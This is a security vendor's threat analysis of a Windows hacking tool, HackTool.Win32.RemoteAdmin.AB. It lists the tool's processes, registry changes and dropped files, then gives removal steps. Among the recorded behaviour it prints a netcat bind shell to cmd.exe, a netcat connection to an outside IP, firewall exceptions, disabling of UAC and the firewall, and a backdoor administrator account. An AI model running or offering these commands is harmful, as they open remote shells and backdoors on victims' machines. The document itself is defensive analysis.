PLATFORM:

Windows

 OVERALL RISK RATING:
 REPORTED INFECTION:
 SYSTEM IMPACT RATING:
 INFORMATION EXPOSURE:

  • Threat Type: Hacking Tool

  • Destructiveness: No

  • Encrypted:

  • In the wild: Yes

  OVERVIEW

This Hacking Tool arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

It disables Task Manager, Registry Editor, and Folder Options.

  TECHNICAL DETAILS

File Size: 1,116,160 bytes
File Type: EXE
Memory Resident: Yes
Initial Samples Received Date: 04 Nov 2019

Arrival Details

This Hacking Tool arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Installation

This Hacking Tool adds the following processes:

  • "%AppDataLocal%\ncarchive.rar.exe" -d%AppDataLocal%\ -ppassword -s
  • %AppDataLocal%\ncarchive.rar.exe -d%AppDataLocal%\ -ppassword -s
  • "%System%\netsh.exe" firewall add allowedprogram %AppDataLocal%\nc.exe RemoteSupport ENABLE
  • %System%\netsh.exe firewall add allowedprogram %AppDataLocal%\nc.exe RemoteSupport ENABLE
  • "%AppDataLocal%\nc.exe" -L -p 53 -e cmd.exe
  • %AppDataLocal%\nc.exe -L -p 53 -e cmd.exe
  • "%AppDataLocal%\nc.exe" 150.70.162.115 80
  • %AppDataLocal%\nc.exe 150.70.162.115 80
  • %System%\cmd.exe /c Net User dmatio dmatio /add
  • %System%\cmd.exe /c Net Localgroup {username}s dmatio /add
  • %System%\net1 Localgroup {username}s dmatio /add
  • %System%\net1 User dmatio dmatio /add

(Note: %AppDataLocal% is the Local Application Data folder, which is usually C:\Documents and Settings\{user name}\Local Settings\Application Data on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name}\AppData\Local on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit).. %System% is the Windows system folder, where it usually is C:\Windows\System32 on all Windows operating system versions.)

It creates the following folders:

  • %System Root%\Users
  • %User Profile%\AppData

(Note: %System Root% is the Windows root folder, where it usually is C:\ on all Windows operating system versions.. %User Profile% is the current user's profile folder, which is usually C:\Documents and Settings\{user name} on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name} on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit).)

Other System Modifications

This Hacking Tool modifies the following file(s):

  • %System%\drivers\etc\hosts

(Note: %System% is the Windows system folder, where it usually is C:\Windows\System32 on all Windows operating system versions.)

It adds the following registry keys:

HKEY_CURRENT_USER\Software\Microsoft\
Windows\CurrentVersion\Policies\
System

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\
services\SharedAccess\Parameters\
FirewallPolicy\StandardProfile\EnableFirewall

It adds the following registry entries:

HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\
Microsoft\Windows\CurrentVersion\
Run
NC = "%AppDataLocal%\nc.exe -L -p 53 -e cmd.exe"

HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\
Microsoft\Windows\CurrentVersion\
Run
Updater = "{malware path and file name}.exe"

HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\
Microsoft\Windows\CurrentVersion\
Run
Windows Updater = "%system root%\{malware file name}.exe"

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\
Windows\CurrentVersion\Policies\
System
EnableLUA = "0"

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\
services\SharedAccess\Parameters
EnableFirewall = "0"

HKEY_CURRENT_USER\Software\Microsoft\
Windows\CurrentVersion\Policies\
System
DisableChangePassword = "1"

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\
Windows\CurrentVersion\Policies\
Explorer
LockTaskbar = "1"

HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\
services\SharedAccess\Parameters\
FirewallPolicy\StandardProfile
EnableFirewall = "0"

It modifies the following registry entries:

HKEY_CURRENT_USER\Software\Microsoft\
Windows\CurrentVersion\Explorer\
Advanced
Hidden = "2"

(Note: The default value data of the said registry entry is 2.)

It creates the following registry entry(ies) to disable Task Manager, Registry Tools and Folder Options:

HKEY_CURRENT_USER\Software\Microsoft\
Windows\CurrentVersion\Policies\
System
DisableTaskMgr = "1"

HKEY_CURRENT_USER\Software\Microsoft\
Windows\CurrentVersion\Policies\
System
DisableRegistryTools = "1"

HKEY_CURRENT_USER\Software\Microsoft\
Windows\CurrentVersion\Policies\
Explorer
NoSaveSettings = "1"

Dropping Routine

This Hacking Tool drops the following files:

  • %User Temp%\ca1.exe
  • %AppDataLocal%\ncarchive.rar.exe
  • %User Temp%\wr41.exe
  • %AppDataLocal%\nc.exe

(Note: %User Temp% is the current user's Temp folder, which is usually C:\Documents and Settings\{user name}\Local Settings\Temp on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name}\AppData\Local\Temp on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit).. %AppDataLocal% is the Local Application Data folder, which is usually C:\Documents and Settings\{user name}\Local Settings\Application Data on Windows 2000(32-bit), XP, and Server 2003(32-bit), or C:\Users\{user name}\AppData\Local on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit).)

Other Details

This Hacking Tool connects to the following possibly malicious URL:

  • http://wrs41.{BLOCKED}pway.com/index.html
  • http://ca91-1.{BLOCKED}pway.com/index.html
  • {BLOCKED}.162.115

This report is generated via an automated analysis system.

  SOLUTION

Minimum Scan Engine: 9.850

Step 1

Before doing any scans, Windows 7, Windows 8, Windows 8.1, and Windows 10 users must disable System Restore to allow full scanning of their computers.

Step 2

Identify and terminate files detected as HackTool.Win32.RemoteAdmin.AB

[ Learn More ]
  1. Windows Task Manager may not display all running processes. In this case, please use a third-party process viewer, preferably Process Explorer, to terminate the malware/grayware/spyware file. You may download the said tool here.
  2. If the detected file is displayed in either Windows Task Manager or Process Explorer but you cannot delete it, restart your computer in safe mode. To do this, refer to this link for the complete steps.
  3. If the detected file is not displayed in either Windows Task Manager or Process Explorer, continue doing the next steps.

Step 3

Enable Registry Editor, Task Manager, and Folder options

[ Learn More ]
By doing this step, you also enable other applications/programs disabled by this malware/grayware/spyware. Screen reader support enabled.

Step 4

Delete this registry key

[ Learn More ]

Important: Editing the Windows Registry incorrectly can lead to irreversible system malfunction. Please do this step only if you know how or you can ask assistance from your system administrator. Else, check this Microsoft article first before modifying your computer's registry.

  • In HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies
    • System
  • In HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\SharedAccess\Parameters\FirewallPolicy\StandardProfile
    • EnableFirewall

Step 5

Delete this registry value

[ Learn More ]

Important: Editing the Windows Registry incorrectly can lead to irreversible system malfunction. Please do this step only if you know how or you can ask assistance from your system administrator. Else, check this Microsoft article first before modifying your computer's registry.

  • In HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run
    • NC = "%AppDataLocal%\nc.exe -L -p 53 -e cmd.exe"
  • In HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run
    • Updater = "{malware path and file name}.exe"
  • In HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run
    • Windows Updater = "%system root%\{malware file name}.exe"
  • In HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System
    • EnableLUA = "0"
  • In HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\SharedAccess\Parameters
    • EnableFirewall = "0"
  • In HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System
    • DisableChangePassword = "1"
  • In HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer
    • LockTaskbar = "1"
  • In HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\SharedAccess\Parameters\FirewallPolicy\StandardProfile
    • EnableFirewall = "0"

Step 6

Restore these modified registry values

[ Learn More ]

Important:Editing the Windows Registry incorrectly can lead to irreversible system malfunction. Please do this only if you know how to or you can seek your system administrator's help. You may also check out this Microsoft article first before modifying your computer's registry.

  • In HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced
    • From: Hidden = "2"
      To: Hidden = ""2""

Step 7

Search and delete these components

[ Learn More ]
There may be some components that are hidden. Please make sure you check the Search Hidden Files and Folders checkbox in the "More advanced options" option to include all hidden files and folders in the search result.
  • %User Temp%\ca1.exe
  • %AppDataLocal%\ncarchive.rar.exe
  • %User Temp%\wr41.exe
  • %AppDataLocal%\nc.exe

Step 8

Search and delete these folders

[ Learn More ]
Please make sure you check the Search Hidden Files and Folders checkbox in the More advanced options option to include all hidden folders in the search result.
  • %System Root%\Users
  • %User Profile%\AppData

Step 9

Scan your computer with your Trend Micro product to delete files detected as HackTool.Win32.RemoteAdmin.AB. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check the following Trend Micro Support pages for more information:

Step 10

Restore deleted/modified files and/or registry entries from backup

*Note: Only Microsoft-related files/keys/values will be restored. If this malware/grayware also deleted registry keys/values related to programs that are not from Microsoft, please reinstall those programs on your computer.

    • %System%\drivers\etc\hosts


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